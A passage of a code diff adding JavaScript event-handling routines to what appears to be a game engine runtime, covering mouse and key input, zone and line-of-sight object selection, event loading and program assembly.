+ num2 = this.rhPtr.random(this.rh2ShuffleBuffer.size());
+ } while (num1 == num2);
+
+ var pHo1 = this.rh2ShuffleBuffer.get(num1);
+ var pHo2 = this.rh2ShuffleBuffer.get(num2);
+
+ var x1 = pHo1.hoX;
+ var y1 = pHo1.hoY;
+ var x2 = pHo2.hoX;
+ var y2 = pHo2.hoY;
+ CRun.setXPosition(pHo1, x2);
+ CRun.setYPosition(pHo1, y2);
+ CRun.setXPosition(pHo2, x1);
+ CRun.setYPosition(pHo2, y1);
+ this.rh2ShuffleBuffer = null;
+ },
+
+ onMouseButton: function (b, nClicks)
+ {
+ var mouse;
+ this.rhPtr.getMouseCoords();
+
+ if (this.rhPtr == null)
+ {
+ return;
+ }
+ if (this.rhPtr.rh2PauseCompteur != 0)
+ {
+ return;
+ }
+ if (this.bReady == false)
+ {
+ return;
+ }
+
+ mouse = b;
+ if (nClicks == 2)
+ {
+ mouse += CEventProgram.PARAMCLICK_DOUBLE;
+ }
+
+ this.rhPtr.rh4TimeOut = 0;
+ if ((this.rhPtr.rhMouseUsed) != 0)
+ {
+ return;
+ }
+
+ this.rhCurParam0 = mouse;
+ this.rh2CurrentClick = mouse;
+ this.handle_GlobalEvents(((-5 << 16) | 0xFFFA));
+ this.handle_GlobalEvents(((-6 << 16) | 0xFFFA));
+
+ var count = 0;
+ var i;
+ var pHox;
+ var x1, y1, x2, y2;
+ var list = new CArrayList();
+ for (i = 0; i < this.rhPtr.rhNObjects; i++)
+ {
+ while (this.rhPtr.rhObjectList[count] == null)
+ count++;
+ pHox = this.rhPtr.rhObjectList[count];
+ count++;
+
+ x1 = pHox.hoX - pHox.hoImgXSpot;
+ y1 = pHox.hoY - pHox.hoImgYSpot;
+ x2 = x1 + pHox.hoImgWidth;
+ y2 = y1 + pHox.hoImgHeight;
+ if (this.rhPtr.rh2MouseX >= x1 && this.rhPtr.rh2MouseX < x2 && this.rhPtr.rh2MouseY >= y1 && this.rhPtr.rh2MouseY < y2)
+ {
+ if ((pHox.hoLimitFlags & CObjInfo.OILIMITFLAGS_QUICKCOL) != 0 && (pHox.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (pHox.hoType == COI.OBJ_SPR)
+ {
+ if ((pHox.ros.rsFlags & CRSpr.RSFLAG_COLBOX) == 0)
+ {
+ var image = this.application.imageBank.getImageFromHandle(pHox.roc.rcImage);
+ var mask = image.getMask(CMask.GCMF_OBSTACLE, 0, 1.0, 1.0);
+ if (mask.testPointEx(this.rhPtr.rh2MouseX - pHox.hoX, this.rhPtr.rh2MouseY - pHox.hoY, pHox.roc.rcAngle, pHox.roc.rcScaleX, pHox.roc.rcScaleY))
+ {
+ list.add(pHox);
+ }
+ }
+ else
+ {
+ list.add(pHox);
+ }
+ }
+ else
+ {
+ list.add(pHox);
+ }
+ }
+ }
+ }
+ for (count = 0; count < list.size(); count++)
+ {
+ pHox = list.get(count);
+ this.rhCurParam1 = pHox.hoOi;
+ this.rh4_2ndObject = pHox;
+ this.handle_GlobalEvents(((-7 << 16) | 0xFFFA));
+ }
+ },
+
+ onKeyDown: function (vk)
+ {
+ if (this.rhPtr != null)
+ {
+ if (this.bReady == false)
+ {
+ return;
+ }
+ /*
+ if (this.rhPtr.rh2PauseCompteur != 0)
+ {
+ if (this.rhPtr.rh4PauseKey == -1)
+ {
+ this.rhPtr.resume();
+ this.rhPtr.rh4EndOfPause = this.rhPtr.rhLoopCount;
+ this.handle_GlobalEvents(((-8 << 16) | 0xFFFD));
+ }
+ if (this.rhPtr.rh4PauseKey != 0 && this.rhPtr.rh4PauseKey == vk)
+ {
+ this.rhPtr.resume();
+ this.rhPtr.rh4EndOfPause = this.rhPtr.rhLoopCount;
+ this.handle_GlobalEvents(((-8 << 16) | 0xFFFD));
+ }
+ return;
+ }
+ */
+ this.rhPtr.rh4TimeOut = 0;
+ this.handle_GlobalEvents(((-9 << 16) | 0xFFFA));
+ }
+ },
+
+ onMouseMove: function ()
+ {
+ if (this.bReady == false)
+ return;
+ if (this.rhPtr.rh2PauseCompteur != 0)
+ return;
+ this.rhPtr.rh4TimeOut = 0;
+ },
+
+ ctoCompare: function (pZone, pHo)
+ {
+ if (pHo.hoImgWidth == 0 || pHo.hoImgHeight == 0)
+ {
+ return false;
+ }
+ if (pHo.hoX < pZone.x1 || pHo.hoX >= pZone.x2)
+ {
+ return false;
+ }
+ if (pHo.hoY < pZone.y1 || pHo.hoY >= pZone.y2)
+ {
+ return false;
+ }
+ return true;
+ },
+
+ count_ZoneTypeObjects: function (pZone, stop, type)
+ {
+ stop++;
+ this.evtNSelectedObjects = 0;
+
+ var oil = 0;
+ var poilLoop = null;
+ var pHo;
+ var num;
+ do
+ {
+ for (; oil < this.rhPtr.rhOiList.length; oil++)
+ {
+ poilLoop = this.rhPtr.rhOiList[oil];
+ if (type == 0 || (type != 0 && type == poilLoop.oilType))
+ {
+ break;
+ }
+ }
+ if (oil == this.rhPtr.rhOiList.length)
+ {
+ return null;
+ }
+
+ var poil = poilLoop;
+ oil++;
+
+ if (poil.oilEventCount != this.rh2EventCount)
+ {
+ if (this.rh4ConditionsFalse == false)
+ {
+ num = poil.oilObject;
+ while ((num & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ if (pHo == null)
+ {
+ return null;
+ }
+ if ((pHo.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (this.ctoCompare(pZone, pHo))
+ {
+ this.evtNSelectedObjects++;
+ if (this.evtNSelectedObjects == stop)
+ {
+ return pHo;
+ }
+ }
+ }
+ num = pHo.hoNumNext;
+ }
+ }
+ }
+ else
+ {
+ num = poil.oilListSelected;
+ while ((num & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ if (pHo == null)
+ {
+ return null;
+ }
+ if ((pHo.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (this.ctoCompare(pZone, pHo))
+ {
+ this.evtNSelectedObjects++;
+ if (this.evtNSelectedObjects == stop)
+ {
+ return pHo;
+ }
+ }
+ }
+ num = pHo.hoNextSelected;
+ }
+ }
+ } while (true);
+ },
+
+ count_ObjectsFromType: function (type, stop)
+ {
+ stop++;
+ this.evtNSelectedObjects = 0;
+
+ var oil = 0;
+ var poilLoop = null;
+ var pHo;
+ var num;
+
+ do
+ {
+ for (; oil < this.rhPtr.rhOiList.length; oil++)
+ {
+ poilLoop = this.rhPtr.rhOiList[oil];
+ if (type == 0 || (type != 0 && type == poilLoop.oilType))
+ {
+ break;
+ }
+ }
+ if (oil == this.rhPtr.rhOiList.length)
+ {
+ return null;
+ }
+
+ var poil = poilLoop;
+ oil++;
+
+ if (poil.oilEventCount != this.rh2EventCount)
+ {
+ if (this.rh4ConditionsFalse == false)
+ {
+ num = poil.oilObject;
+ while ((num & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ if (pHo == null)
+ {
+ return null;
+ }
+ if ((pHo.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ this.evtNSelectedObjects++;
+ if (this.evtNSelectedObjects == stop)
+ {
+ return pHo;
+ }
+ }
+ num = pHo.hoNumNext;
+ }
+ }
+ }
+ else
+ {
+ num = poil.oilListSelected;
+ while ((num & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ if (pHo == null)
+ {
+ return null;
+ }
+ if ((pHo.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ this.evtNSelectedObjects++;
+ if (this.evtNSelectedObjects == stop)
+ {
+ return pHo;
+ }
+ }
+ num = pHo.hoNextSelected;
+ }
+ }
+ } while (true);
+ },
+
+ czaCompare: function (pZone, pHo)
+ {
+ if (pHo.hoX < pZone.x1 || pHo.hoX >= pZone.x2)
+ {
+ return false;
+ }
+ if (pHo.hoY < pZone.y1 || pHo.hoY >= pZone.y2)
+ {
+ return false;
+ }
+ return true;
+ },
+
+ select_ZoneTypeObjects: function (p, type)
+ {
+ var cpt = 0;
+
+ var oil = 0;
+ var poilLoop = null;
+ var pHoLoop, pHoFound;
+ var num;
+ do
+ {
+ for (; oil < this.rhPtr.rhOiList.length; oil++)
+ {
+ poilLoop = this.rhPtr.rhOiList[oil];
+ if (type == 0 || (type != 0 && type == poilLoop.oilType))
+ {
+ break;
+ }
+ }
+ if (oil == this.rhPtr.rhOiList.length)
+ {
+ return cpt;
+ }
+
+ var poil = poilLoop;
+ oil++;
+
+ if (poil.oilEventCount != this.rh2EventCount)
+ {
+ pHoLoop = null;
+ poil.oilNumOfSelected = 0;
+ poil.oilEventCount = this.rh2EventCount;
+ poil.oilListSelected = -1;
+ if (this.rh4ConditionsFalse == false)
+ {
+ num = poil.oilObject;
+ while ((num & 0x80000000) == 0)
+ {
+ pHoFound = this.rhPtr.rhObjectList[num];
+ if (pHoFound == null)
+ {
+ break;
+ }
+ if ((pHoFound.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (this.czaCompare(p, pHoFound))
+ {
+ cpt++;
+ poil.oilNumOfSelected++;
+ pHoFound.hoNextSelected = -1;
+ if (pHoLoop == null)
+ {
+ poil.oilListSelected = pHoFound.hoNumber;
+ }
+ else
+ {
+ pHoLoop.hoNextSelected = pHoFound.hoNumber;
+ }
+ pHoLoop = pHoFound;
+ }
+ }
+ num = pHoFound.hoNumNext;
+ }
+ ;
+ }
+ continue;
+ }
+
+ pHoLoop = null;
+ num = poil.oilListSelected;
+ while ((num & 0x80000000) == 0)
+ {
+ pHoFound = rhPtr.rhObjectList[num];
+ if (pHoFound == null)
+ {
+ break;
+ }
+ if ((pHoFound.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (this.czaCompare(p, pHoFound) == false)
+ {
+ poil.oilNumOfSelected--;
+ if (pHoLoop == null)
+ {
+ poil.oilListSelected = pHoFound.hoNextSelected;
+ }
+ else
+ {
+ pHoLoop.hoNextSelected = pHoFound.hoNextSelected;
+ }
+ }
+ else
+ {
+ cpt++;
+ pHoLoop = pHoFound;
+ }
+ }
+ num = pHoFound.hoNextSelected;
+ }
+ ;
+ continue;
+ } while (true);
+ },
+
+ losCompare: function (x1, y1, x2, y2, pHo)
+ {
+ var delta;
+ var x, y;
+
+ var xLeft = pHo.hoX - pHo.hoImgXSpot;
+ var xRight = xLeft + pHo.hoImgWidth;
+ var yTop = pHo.hoY - pHo.hoImgYSpot;
+ var yBottom = yTop + pHo.hoImgHeight;
+
+ if (x2 - x1 > y2 - y1)
+ {
+ delta = (y2 - y1) / (x2 - x1);
+ if (x2 > x1)
+ {
+ if (xRight < x1 || xLeft >= x2)
+ {
+ return false;
+ }
+ }
+ else
+ {
+ if (xRight < x2 || xLeft >= x1)
+ {
+ return false;
+ }
+ }
+ y = delta * (xLeft - x1) + y1;
+ if (y >= yTop && y < yBottom)
+ {
+ return true;
+ }
+
+ y = delta * (xRight - x1) + y1;
+ if (y >= yTop && y < yBottom)
+ {
+ return true;
+ }
+
+ return false;
+ }
+ else
+ {
+ delta = (x2 - x1) / (y2 - y1);
+ if (y2 > y1)
+ {
+ if (yBottom < y1 || yTop >= y2)
+ {
+ return false;
+ }
+ }
+ else
+ {
+ if (yBottom < y2 || yTop >= y1)
+ {
+ return false;
+ }
+ }
+ x = delta * (yTop - y1) + x1;
+ if (x >= xLeft && x < xRight)
+ {
+ return true;
+ }
+
+ x = delta * (yTop - y1) + x1;
+ if (x >= xLeft && x < xRight)
+ {
+ return true;
+ }
+
+ return false;
+ }
+ },
+
+ select_LineOfSight: function (x1, y1, x2, y2)
+ {
+ var cpt = 0;
+
+ var poil;
+ var oil;
+ var pHoLoop, pHoFound;
+ var num;
+ for (oil = 0; oil < this.rhPtr.rhOiList.length; oil++)
+ {
+ poil = this.rhPtr.rhOiList[oil];
+ if (poil.oilEventCount != this.rh2EventCount)
+ {
+ pHoLoop = null;
+ poil.oilNumOfSelected = 0;
+ poil.oilEventCount = this.rh2EventCount;
+ poil.oilListSelected = -1;
+
+ if (this.rh4ConditionsFalse == false)
+ {
+ num = poil.oilObject;
+ while ((num & 0x80000000) == 0)
+ {
+ pHoFound = this.rhPtr.rhObjectList[num];
+ if (pHoFound == null)
+ {
+ break;
+ }
+ if ((pHoFound.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (this.losCompare(x1, y1, x2, y2, pHoFound))
+ {
+ cpt++;
+ poil.oilNumOfSelected++;
+ pHoFound.hoNextSelected = -1;
+ if (pHoLoop == null)
+ {
+ poil.oilListSelected = pHoFound.hoNumber;
+ }
+ else
+ {
+ pHoLoop.hoNextSelected = pHoFound.hoNumber;
+ }
+ pHoLoop = pHoFound;
+ }
+ }
+ num = pHoFound.hoNumNext;
+ }
+ }
+ continue;
+ }
+
+ pHoLoop = null;
+ num = poil.oilListSelected;
+ while ((num & 0x80000000) == 0)
+ {
+ pHoFound = this.rhPtr.rhObjectList[num];
+ if (pHoFound == null)
+ {
+ break;
+ }
+ if ((pHoFound.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (this.losCompare(x1, y1, x2, y2, pHoFound) == false)
+ {
+ poil.oilNumOfSelected--;
+ if (pHoLoop == null)
+ {
+ poil.oilListSelected = pHoFound.hoNextSelected;
+ }
+ else
+ {
+ pHoLoop.hoNextSelected = pHoFound.hoNextSelected;
+ }
+ }
+ else
+ {
+ cpt++;
+ pHoLoop = pHoFound;
+ }
+ }
+ num = pHoFound.hoNextSelected;
+ }
+
+ }
+ return cpt;
+ },
+
+ czoCountThem: function (oil, pZone)
+ {
+ var count = 0;
+ var poil = this.rhPtr.rhOiList[oil];
+ var pHo;
+ var num;
+
+ if (poil.oilEventCount != this.rh2EventCount)
+ {
+ if (this.rh4ConditionsFalse == false)
+ {
+ num = poil.oilObject;
+ while ((num & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ if (pHo == null)
+ {
+ return 0;
+ }
+ if ((pHo.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (this.czaCompare(pZone, pHo))
+ {
+ count++;
+ }
+ }
+ num = pHo.hoNumNext;
+ }
+ }
+ return count;
+ }
+
+ num = poil.oilListSelected;
+ while ((num & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ if (pHo == null)
+ {
+ return 0;
+ }
+ if ((pHo.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ if (this.czaCompare(pZone, pHo))
+ {
+ count++;
+ }
+ }
+ num = pHo.hoNextSelected;
+ }
+ return count;
+ },
+
+ count_ZoneOneObject: function (oil, pZone)
+ {
+ if ((oil & 0x8000) == 0)
+ {
+ return this.czoCountThem(oil, pZone);
+ }
+
+ if ((oil & 0x7FFF) == 0x7FFF)
+ {
+ return 0;
+ }
+ var pqoi = this.qualToOiList[oil & 0x7FFF];
+ var qoi;
+ var count = 0;
+ for (qoi = 0; qoi < pqoi.qoiList.length; qoi += 2)
+ {
+ count += this.czoCountThem(pqoi.qoiList[qoi + 1], pZone);
+ }
+ return count;
+ },
+
+ countThem: function (oil, stop)
+ {
+ var poil = this.rhPtr.rhOiList[oil];
+ var pHo;
+ var num;
+
+ if (poil.oilEventCount != this.rh2EventCount)
+ {
+ if (this.rh4ConditionsFalse)
+ {
+ this.evtNSelectedObjects = 0;
+ return null;
+ }
+
+ num = poil.oilObject;
+ while ((num & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ if (pHo == null)
+ {
+ return null;
+ }
+ if ((pHo.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ this.evtNSelectedObjects++;
+ if (this.evtNSelectedObjects == stop)
+ {
+ return pHo;
+ }
+ }
+ num = pHo.hoNumNext;
+ }
+ return null;
+ }
+
+ num = poil.oilListSelected;
+ while ((num & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ if (pHo == null)
+ {
+ return null;
+ }
+ if ((pHo.hoFlags & CObject.HOF_DESTROYED) == 0)
+ {
+ this.evtNSelectedObjects++;
+ if (this.evtNSelectedObjects == stop)
+ {
+ return pHo;
+ }
+ }
+ num = pHo.hoNextSelected;
+ }
+ return null;
+ },
+
+ count_ObjectsFromOiList: function (oil, stop)
+ {
+ stop++;
+ this.evtNSelectedObjects = 0;
+ if ((oil & 0x8000) == 0)
+ {
+ return this.countThem(oil, stop);
+ }
+
+ if ((oil & 0x7FFF) == 0x7FFF)
+ {
+ return null;
+ }
+ var pqoi = this.qualToOiList[oil & 0x7FFF];
+ var qoi;
+ for (qoi = 0; qoi < pqoi.qoiList.length; qoi += 2)
+ {
+ var pHo = this.countThem(pqoi.qoiList[qoi + 1], stop);
+ if (pHo != null)
+ {
+ return pHo;
+ }
+ }
+ return null;
+ },
+
+ pickFromId: function (value)
+ {
+ var number = value & 0xFFFF;
+ if (number >= this.rhPtr.rhMaxObjects)
+ {
+ return false;
+ }
+ var pHo = this.rhPtr.rhObjectList[number];
+ if (pHo == null)
+ {
+ return false;
+ }
+
+ var code = value >>> 16;
+ if (code != pHo.hoCreationId)
+ {
+ return false;
+ }
+
+ var poil = pHo.hoOiList;
+ if (poil.oilEventCount == this.rh2EventCount)
+ {
+ var next = poil.oilListSelected;
+ var pHoFound = null;
+ while ((next & 0x80000000) == 0)
+ {
+ pHoFound = this.rhPtr.rhObjectList[next];
+ if (pHo == pHoFound)
+ {
+ break;
+ }
+ next = pHoFound.hoNextSelected;
+ }
+ ;
+ if (pHo != pHoFound)
+ {
+ return false;
+ }
+ }
+ poil.oilEventCount = this.rh2EventCount;
+ poil.oilListSelected = -1;
+ poil.oilNumOfSelected = 0;
+ pHo.hoNextSelected = -1;
+ this.evt_AddCurrentObject(pHo);
+ return true;
+ },
+
+ push_Event: function (routine, code, lParam, pHo, oi)
+ {
+ var p = new CPushedEvent(routine, code, lParam, pHo, oi);
+ if (this.rh2PushedEvents == null)
+ {
+ this.rh2PushedEvents = new CArrayList();
+ }
+ this.rh2PushedEvents.add(p);
+ },
+
+ handle_PushedEvents: function ()
+ {
+ if (this.rh2PushedEvents != null)
+ {
+ var index;
+ for (index = 0; index < this.rh2PushedEvents.size(); index++)
+ {
+ var pEvt = this.rh2PushedEvents.get(index);
+ if (pEvt != null)
+ {
+ if (pEvt.code != 0)
+ {
+ this.rhCurParam0 = pEvt.param;
+ this.rhCurOi = pEvt.oi;
+ switch (pEvt.routine)
+ {
+ case 0:
+ this.handle_GlobalEvents(pEvt.code);
+ break;
+ case 1:
+ this.handle_Event(pEvt.pHo, pEvt.code);
+ break;
+ }
+ }
+ }
+ }
+ this.rh2PushedEvents.clear();
+ }
+ },
+
+ load: function (app)
+ {
+
+ var code = new Array(4);
+ var number;
+ var n;
+ var eventPos = 0;
+ while (true)
+ {
+ var code = app.file.readBuffer(4);
+
+ if (code[0] == 0x45 && code[1] == 0x52 && code[2] == 0x3E && code[3] == 0x3E)
+ {
+ this.maxObjects = app.file.readAShort();
+ if (this.maxObjects < 300)
+ {
+ this.maxObjects = 300;
+ }
+ this.maxOi = app.file.readAShort();
+ this.nPlayers = app.file.readAShort();
+ for (n = 0; n < 7 + COI.OBJ_LAST; n++)
+ {
+ this.nConditions[n] = app.file.readAShort();
+ }
+ this.nQualifiers = app.file.readAShort();
+ if (this.nQualifiers > 0)
+ {
+ this.qualifiers = new Array(this.nQualifiers);
+ for (n = 0; n < this.nQualifiers; n++)
+ {
+ this.qualifiers[n] = new CLoadQualifiers();
+ this.qualifiers[n].qOi = app.file.readShort();
+ this.qualifiers[n].qType = app.file.readShort();
+ }
+ }
+ }
+ else if (code[0] == 0x45 && code[1] == 0x52 && code[2] == 0x65 && code[3] == 0x73)
+ {
+ app.file.readAInt();
+ this.nEvents = app.file.readAInt();
+ this.events = new Array(this.nEvents);
+ this.eventPos = 0;
+ }
+ else if (code[0] == 0x45 && code[1] == 0x52 && code[2] == 0x65 && code[3] == 0x76)
+ {
+ app.file.readAInt();
+ number = app.file.readAInt();
+ for (n = 0; n < number; n++)
+ {
+ this.events[eventPos] = CEventGroup.create(app);
+ eventPos++;
+ }
+ }
+ else if (code[0] == 0x3C && code[1] == 0x3C && code[2] == 0x45 && code[3] == 0x52)
+ {
+ break;
+ }
+ }
+ this.maxEvents = Math.max(this.maxEvents, eventPos);
+ },
+
+ inactiveGroup: function (evg)
+ {
+ var bQuit;
+ var evgPtr;
+ var evtPtr;
+ var grpPtr;
+
+ evgPtr = this.events[evg];
+ evgPtr.evgFlags &= CEventGroup.EVGFLAGS_DEFAULTMASK;
+ evgPtr.evgFlags |= CEventGroup.EVGFLAGS_INACTIVE;
+
+ for (evg++ , bQuit = false; ;)
+ {
+ evgPtr = this.events[evg];
+ evgPtr.evgFlags &= CEventGroup.EVGFLAGS_DEFAULTMASK;
+ evgPtr.evgFlags |= CEventGroup.EVGFLAGS_INACTIVE;
+
+ evtPtr = evgPtr.evgEvents[0];
+ switch (evtPtr.evtCode)
+ {
+ case ((-10 << 16) | 65535): // CNDL_GROUP:
+ grpPtr = evtPtr.evtParams[0];
+ grpPtr.grpFlags |= PARAM_GROUP.GRPFLAGS_PARENTINACTIVE;
+ evg = this.inactiveGroup(evg);
+ continue;
+ case ((-11 << 16) | 65535): // CNDL_ENDGROUP:
+ bQuit = true;
+ evg++;
+ break;
+ }
+ if (bQuit)
+ {
+ break;
+ }
+ evg++;
+ }
+ return evg;
+ },
+
+ prepareProgram: function ()
+ {
+ var evgPtr;
+ var evtPtr;
+ var grpPtr;
+ var evpPtr;
+ var evg, evt, evp;
+ var groups = new CArrayList();
+ var g;
+
+ for (evg = 0; evg < this.events.length;)
+ {
+ evgPtr = this.events[evg];
+ evgPtr.evgFlags &= CEventGroup.EVGFLAGS_DEFAULTMASK;
+
+ evtPtr = evgPtr.evgEvents[0];
+ if (evtPtr.evtCode == ((-10 << 16) | 65535))
+ {
+ grpPtr = evtPtr.evtParams[0];
+ g = new CGroupFind();
+ g.id = grpPtr.grpId;
+ g.evg = evg;
+ groups.add(g);
+ grpPtr.grpFlags &= ~(PARAM_GROUP.GRPFLAGS_PARENTINACTIVE | PARAM_GROUP.GRPFLAGS_GROUPINACTIVE);
+
+ if ((grpPtr.grpFlags & PARAM_GROUP.GRPFLAGS_INACTIVE) != 0)
+ {
+ grpPtr.grpFlags |= PARAM_GROUP.GRPFLAGS_GROUPINACTIVE;
+ }
+ }
+ evg++;
+ }
+
+ for (evg = 0; evg < this.events.length;)
+ {
+ evgPtr = this.events[evg];
+ evgPtr.evgFlags &= CEventGroup.EVGFLAGS_DEFAULTMASK;
+
+ evtPtr = evgPtr.evgEvents[0];
+ if (evtPtr.evtCode == ((-10 << 16) | 65535))
+ {
+ grpPtr = evtPtr.evtParams[0];
+ grpPtr.grpFlags &= ~PARAM_GROUP.GRPFLAGS_PARENTINACTIVE;
+
+ if ((grpPtr.grpFlags & PARAM_GROUP.GRPFLAGS_GROUPINACTIVE) != 0)
+ {
+ evg = this.inactiveGroup(evg);
+ continue;
+ }
+ }
+ evg++;
+ }
+
+ for (evg = 0; evg < this.events.length; evg++)
+ {
+ evgPtr = this.events[evg];
+ evtPtr = evgPtr.evgEvents[0];
+ switch (evtPtr.evtCode)
+ {
+ case ((-10 << 16) | 65535): // CNDL_GROUP
+ case ((-11 << 16) | 65535): // CNDL_ENDGROUP
+ break;
+
+ default:
+ evgPtr.evgInhibit = 0;
+ evgPtr.evgInhibitCpt = 0;
+ for (evt = 0; evt < evgPtr.evgNCond + evgPtr.evgNAct; evt++)
+ {
+ evtPtr = evgPtr.evgEvents[evt];
+ if (evtPtr.evtCode < 0)
+ {
+ evtPtr.evtFlags &= CEvent.EVFLAGS_DEFAULTMASK;
+ }
+ else
+ {
+ evtPtr.evtFlags &= ~(CAct.ACTFLAGS_REPEAT | CEvent.EVFLAGS_NOTDONEINSTART);
+ }
+
+ if (evtPtr.evtNParams != 0)
+ {
+ for (evp = 0; evp < evtPtr.evtNParams; evp++)
+ {
+ evpPtr = evtPtr.evtParams[evp];
+ switch (evpPtr.code)
+ {
+ case 25: // PARAM_INT
+ evpPtr.value2 = 0;
+ break;
+ case 13: // PARAM_EVERY
+ evpPtr.compteur = evpPtr.delay;
+ break;
+ case 39: // PARAM_GROUPOINTER
+ var n;
+ for (n = 0; n < groups.size(); n++)
+ {
+ g = groups.get(n);
+ if (g.id == evpPtr.id)
+ {
+ evpPtr.pointer = g.evg;
+ break;
+ }
+ }
+ break;
+ }
+ }
+ }
+ }
+ break;
+ }
+ }
+ },
+
+ assemblePrograms: function (run)
+ {
+ var evgPtr;
+ var evtPtr;
+ var evpPtr;
+
+ var o, oo;
+ var oi, oi1, oi2;
+ var type;
+ var nOi, i, n, num, type1, type2;
+ var d, evgF, evgM, q, d1, d2;
+ var code;
+ var fWrap;
+ var evtAlways, evtAlwaysPos;
+ var aTimers, ss;
+ var bOrBefore;
+ var cndOR;
+ var oilPtr;
+ var hoPtr;
+
+ this.rhPtr = run;
+
+ this.rh2ActionCount = 0;
+
+ var oiMax = 0;
+ for (nOi = 0 , n = 0; n < this.rhPtr.rhMaxOI; n++)
+ {
+ if (this.rhPtr.rhOiList[n].oilOi != -1)
+ {
+ this.rhPtr.rhOiList[n].oilActionCount = -1;
+ this.rhPtr.rhOiList[n].oilLimitFlags = 0;
+ this.rhPtr.rhOiList[n].oilLimitList = -1;
+ nOi++;
+ if (this.rhPtr.rhOiList[n].oilOi + 1 > oiMax)
+ {
+ oiMax = this.rhPtr.rhOiList[n].oilOi + 1;
+ }
+ }
+ }
+
+ this.qualToOiList = null;
+ var oil;
+ if (this.nQualifiers > 0)
+ {
+ var count = new Array(this.nQualifiers);
+ for (q = 0; q < this.nQualifiers; q++)
+ {
+ oi = (this.qualifiers[q].qOi) & 0x7FFF;
+ count[q] = 0;
+ for (oil = 0; oil < this.rhPtr.rhMaxOI; oil++)
+ {
+ if (this.rhPtr.rhOiList[oil].oilType == this.qualifiers[q].qType)
+ {
+ for (n = 0; n < 8 && this.rhPtr.rhOiList[oil].oilQualifiers[n] != -1; n++)
+ {
+ if (oi == this.rhPtr.rhOiList[oil].oilQualifiers[n])
+ {
+ count[q]++;
+ }
+ }
+ }
+ }
+ }
+
+ this.qualToOiList = new Array(this.nQualifiers);
+ for (q = 0; q < this.nQualifiers; q++)
+ {
+ this.qualToOiList[q] = new CQualToOiList();
+
+ if (count[q] != 0)
+ {
+ this.qualToOiList[q].qoiList = new Array(count[q] * 2);
+ }
+
+ i = 0;
+ oi = (this.qualifiers[q].qOi) & 0x7FFF;
+ for (oil = 0; oil < this.rhPtr.rhMaxOI; oil++)
+ {
+ if (this.rhPtr.rhOiList[oil].oilType == this.qualifiers[q].qType)
+ {
+ for (n = 0; n < 8 && this.rhPtr.rhOiList[oil].oilQualifiers[n] != -1; n++)
+ {
+ if (oi == this.rhPtr.rhOiList[oil].oilQualifiers[n])
+ {
+ this.qualToOiList[q].qoiList[i * 2] = this.rhPtr.rhOiList[oil].oilOi;
+ this.qualToOiList[q].qoiList[i * 2 + 1] = oil;
+ i++;
+ }
+ }
+ }
+ }
+ this.qualToOiList[q].qoiActionCount = -1;
+ }
+ }
+
+ this.colBuffer = new Array(oiMax * 100 * 2 + 1);
+ var colList = 0;
+ var posStartLoop = new Array();
+ var evg, evt, evp;
+ for (evg = 0; evg < this.events.length; evg++)
+ {
+ evgPtr = this.events[evg];
+
+ for (evt = 0; evt < evgPtr.evgNAct + evgPtr.evgNCond; evt++)
+ {
+ evtPtr = evgPtr.evgEvents[evt];
+
+ evtPtr.evtFlags &= ~CEvent.EVFLAGS_BADOBJECT;
+
+ if (CEventProgram.EVTTYPE(evtPtr.evtCode) >= 0)
+ {
+ evtPtr.evtOiList = this.get_OiListOffset(evtPtr.evtOi, CEventProgram.EVTTYPE(evtPtr.evtCode));
+ }
+
+ if (evtPtr.evtCode == CAct.ACT_STARTLOOP)
+ {
+ var expression = evtPtr.evtParams[0];
+ if (expression.tokens[0].code == CExp.EXP_STRING && expression.tokens[1].code == 0)
+ {
+ var posStart = {};
+ posStart.address = evtPtr.evtParams[0];
+ posStart.name = expression.tokens[0].string;
+ posStartLoop.push(posStart);
+
+ this.rhPtr.addFastLoop(expression.tokens[0].string);
+ }
+ }
+ else if (evtPtr.evtCode == CAct.ACT_STOPLOOP || evtPtr.evtCode == CAct.ACT_SETLOOPINDEX )
+ {
+ var expression = evtPtr.evtParams[0];
+ if (expression.tokens[0].code == CExp.EXP_STRING && expression.tokens[1].code == 0)
+ {
+ expression.tokens[0] = new EXP_LONG();
+ expression.tokens[0].code = CExp.EXP_LONG;
+ expression.tokens[0].value = this.rhPtr.addFastLoop(expression.tokens[0].string);
+ }
+ }
+
+ if (evtPtr.evtNParams > 0)
+ {
+ for (evp = 0; evp < evtPtr.evtNParams; evp++)
+ {
+ evpPtr = evtPtr.evtParams[evp];
+ switch (evpPtr.code)
+ {
+ // Met un parametre buffer 4 a zero
+ case 25: // PARAM_BUFFER4:
+ evpPtr.value = 0;
+ break;
+
+ // Trouve le levobj de creation
+ case 21: // PARAM_SYSCREATE:
+ if ((evtPtr.evtOi & COI.OIFLAG_QUALIFIER) == 0)
+ {
+ var loPtr;
+ for (loPtr = this.rhPtr.rhFrame.LOList.first_LevObj(); loPtr != null; loPtr = this.rhPtr.rhFrame.LOList.next_LevObj())
+ {
+ if (evtPtr.evtOi == loPtr.loOiHandle)
+ {
+ evpPtr.cdpHFII = loPtr.loHandle;
+ break;
+ }
+ }
+ }
+ else
+ {
+ evpPtr.cdpHFII = -1;
+ }
+ oi = evpPtr.posOINUMParent;
+ if (oi != -1)
+ {
+ evpPtr.posOiList = this.get_OiListOffset(oi, evpPtr.posTypeParent);
+ }
+ break;
+
+ // Met l'adresse du levObj pour create object
